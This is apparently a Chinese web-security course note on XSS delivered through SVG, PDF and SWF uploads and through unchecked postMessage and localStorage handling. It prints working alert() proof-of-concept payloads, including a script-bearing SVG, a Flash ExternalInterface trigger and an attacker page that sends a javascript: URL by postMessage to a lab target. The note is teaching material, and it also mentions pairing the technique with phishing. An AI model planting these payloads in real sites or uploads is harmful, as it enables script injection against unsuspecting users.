0%

第60天-XSS跨站&文件类型&功能逻辑&SVG&PDF&SWF&PMessage&LocalStorage

演示案例:

WEB攻防-XSS跨站-SWF&SVG&PDF&HTML等

➢ WEB攻防-XSS跨站-PostMessage&LocalStorage

一、文件类型触发XSS

1、SVG-XSS

SVG是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染,一般配合文件上传。

1
2
3
4
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red"/>
<script>alert(1)</script>
</svg>

不能直接加script语句默认不执行,必须前面加一个渲染动作,用Circle完成,浏览器知道要渲染整个SVG结构,渲染的时候,会把整个SVG当成完整DOM节点树处理,然后执行script脚本

2、PDF-XSS

1、创建PDF,加入动作JS

2、通过文件上传获取直链

3、直链地址访问后被触发

项目:迅捷PDF编辑器试用版

通过pdf编辑器在动作里面写app.alert()即可,但是好像只在部分浏览器生效,为什么是app.alert()因为PDF内嵌JS和网页JS是两套完全隔离的运行环境,浏览器网页JS宿主是浏览器,顶层全局对象是window,alert()是window.alert()的简写,属于DOM标准API,PDF内嵌js宿主是Adobe阅读器/解析器,没有window,document、DOM,浏览器内置alert函数不存在,PDF阅读器程序本身,弹窗功能封装在app.alert()里,是Adobe官方提供的标准API

3、SWF-XSS(已经淘汰了)

-制作swf-xss文件:

1、新建swf文件

2、F9进入代码区域

3、属性发布设置解析

//取m参数

var m=_root.m;

//调用html中Javascript中的m参数值

flash.external.ExternalInterface.call(m);

触发:?m=alert(/xss/)

项目:Adobe Flash Professional CS6

-测试swf文件xss安全性:

1、反编译swf文件

2、查找触发危险函数

3、找可控参数访问触发

xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等

项目:JPEXS Free Flash Decompiler

1、上传swf文件可以做xss漏洞

2、找到目标上存在的swf进行反编译后找xss漏洞(如果目标的swf本身调用了危险函数,我们可以进行xss漏洞利用)

4、HTML-XSS

单纯在HTML代码中写XSS代码即可

5、其他:XML格式等

挖掘:从安全文件上传到XSS的转换(红队玩法还可以配合钓鱼)

利用文件上传获取文件访问地址,访问触发(浏览器格式解析问题会导致失效)

二、功能逻辑触发XSS

1、PostMessage XSS

一个用于在网页间安全地发送消息的浏览器API。它允许不同的窗口(例如,来自同一域名下的不同页面或者不同域名下的跨域页面)进行通信,而无需通过服务器。通常情况下,它用于实现跨文档消息传递(Cross-Document Messaging),这在一些复杂的网页应用和浏览器插件中非常有用。

安全原因:当发送参数可控且接收方处理不当时,将导致XSS

模拟漏洞挖掘场景:

打开http://192.168.1.4:82/60/xssreceive.html

分析源码:

1
2
3
4
5
6
<script>
// 添加事件监控消息
window.addEventListener("message",(event)=>{
location.href =`${event.data.url}`;
});
</script>

发现它没有判断来源,也就是谁都能给它发送message,location.href后传入js伪协议构造的恶意代码就能触发xss

自己写一个html用来给xssreceive.html发送恶意message

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!--攻击方实现XSS.html-->
<!DOCTYPE html>
<html>

<head>
<title>攻击方实现XSS界面</title>
<meta charset="utf-8" />
<script>
function openChild() {
child = window.open('xssreceive.html', 'popup', 'height=300px, width=300px');
}

function sendMessage() {
// 发送的数据内容
let msg = { url: "javascript:alert('yesgay')" };
// 发送消息到任意目标源
child.postMessage(msg, '*');
}
</script>
</head>

<body>
<input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>

</html>

效果展示:

黑盒挖掘:

如何去挖这种隐藏比较深的漏洞,这里强推一个国外白帽写的谷歌浏览器插件:

https://github.com/fransr/postMessage-tracker安装之后,只要是当前页面创建了message事件监听,这个插件就会定位到其代码。

白盒挖掘:

找代码中此操作类函数及关键字分析

复盘:https://mp.weixin.qq.com/s/M5YIkJEoHZK6_I7nK6aj5w

2、localStorage型xss(存储型Xss升级版)

Web应用使用localStorage在用户浏览器中存储数据。localStorage允许网页在本地存储键值对,这些数据可以在浏览器关闭后仍然保留,并且在同一域名下的不同页面之间共享。当应用程序从localStorage中读取数据并将其显示在页面上时,如果没有对数据进行充分的验证和过滤,攻击者就有可能通过修改localStorage中的数据来注入恶意脚本实现XSS。

我们输入信息写入js恶意代码,然后查看就被执行了

安全原因:当localStorage可控且有页面有操作其数据,将导致XSS

黑盒挖掘:寻找输入点(如表单、搜索框、评论区等),构造测试用例找页面调用

白盒挖掘:查找与localStorage相关的代码段分析数据存储及数据读取

挖掘:先看目标应用localStorage

1、先找能控制的键名键值(怎么找)

2、再找对键名键值做输出操作(怎么找)